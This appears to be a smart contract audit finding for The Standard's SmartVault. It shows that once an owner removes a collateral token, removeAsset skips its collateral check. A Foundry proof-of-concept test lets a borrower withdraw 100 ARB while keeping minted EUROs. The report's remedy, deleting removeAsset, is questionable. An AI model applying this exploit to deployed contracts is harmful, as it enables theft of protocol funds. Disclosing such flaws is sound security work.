Summary
After a borrower has used a token as collateral, it can be removed from the tokenManager by invoking the removeAcceptedToken function. If the borrower withdraws the collateral assets after the owner has removed the collateral token, they can do so without making any payments.
Vulnerability Details
https://github.com/the-standard/smart-vault/blob/main/contracts/TokenManager.sol#L45#L54 from tokenManager contract we can see removeAcceptedToken function:
function removeAcceptedToken(bytes32 _symbol) external onlyOwner {
require(_symbol != NATIVE, "err-native-required");
for (uint256 i = 0; i < acceptedTokens.length; i++) {
if (acceptedTokens[i].symbol == _symbol) {
acceptedTokens[i] = acceptedTokens[acceptedTokens.length - 1];
acceptedTokens.pop();
emit TokenRemoved(_symbol);
}
}
}
https://github.com/Cyfrin/2023-12-the-standard/blob/main/contracts/SmartVaultV3.sol#L149#L154 In the SmartVaultV3 contract we can see if specific token not in the return list , canRemoveCollateral will not checked.
function removeAsset(address _tokenAddr, uint256 _amount, address _to) external onlyOwner {
ITokenManager.Token memory token = getTokenManager().getTokenIfExists(_tokenAddr);
if (token.addr == _tokenAddr) require(canRemoveCollateral(token, _amount), UNDER_COLL);
IERC20(_tokenAddr).safeTransfer(_to, _amount);
emit AssetRemoved(_tokenAddr, _amount, _to);
}
Here is my test written using foundry:
function testRemoveAcceptedToken() public {
address arb = address(0x912CE59144191C1204E64559FE8253a0e49E6548);
tokenManager.addAcceptedToken(arb, arbUsd);
address deploy = address(0x53509eF0e49c8a386b81093711aF1eF29357cc25);
address index = address(0x56c7506410e5e242261c5E0db6941956c686E5A1);
svIndex = new SmartVaultIndex();
svIndex.setVaultManager(address(svManager));
EUROs.grantRole(bytes32(0x00),address(svManager));
svDeployer = new svDeployerV3.SmartVaultDeployerV3(bytes32('ETH'),address(eurUsd));
svManager.initialize(12000,500,address(EUROs),address(protocol),address(0),address(tokenManager),address(svDeployer),address(svIndex),address(0));
vm.startPrank(alice);
(address vault,) = svManager.mint();
deal(arb,alice,100e18);
IERC20(arb).transfer(vault, 100e18);
ISmartVault(vault).mint(alice,19e18);
assertEq(EUROs.balanceOf(alice),19e18);
vm.stopPrank();
vm.prank(address(this));
tokenManager.removeAcceptedToken(bytes32('ARB'));
vm.startPrank(alice);
ISmartVault(vault).removeAsset(arb,100e18,alice);
assertEq(EUROs.balanceOf(alice),19e18);
assertEq(IERC20(arb).balanceOf(alice),100e18);
}
output:
Running 1 test for test/LiquidationPool.t.sol:LiquidationTest
[PASS] testRemoveAcceptedToken() (gas: 7457739)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 29.35s
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
As we can see
check the full test file:
https://gist.github.com/coffiasd/620089a56ce666b7924ceb1928534795
Impact
borrow can stolen assets from protocol
Tools Used
Foundry
Recommendations
recommend to delete removeAsset function.
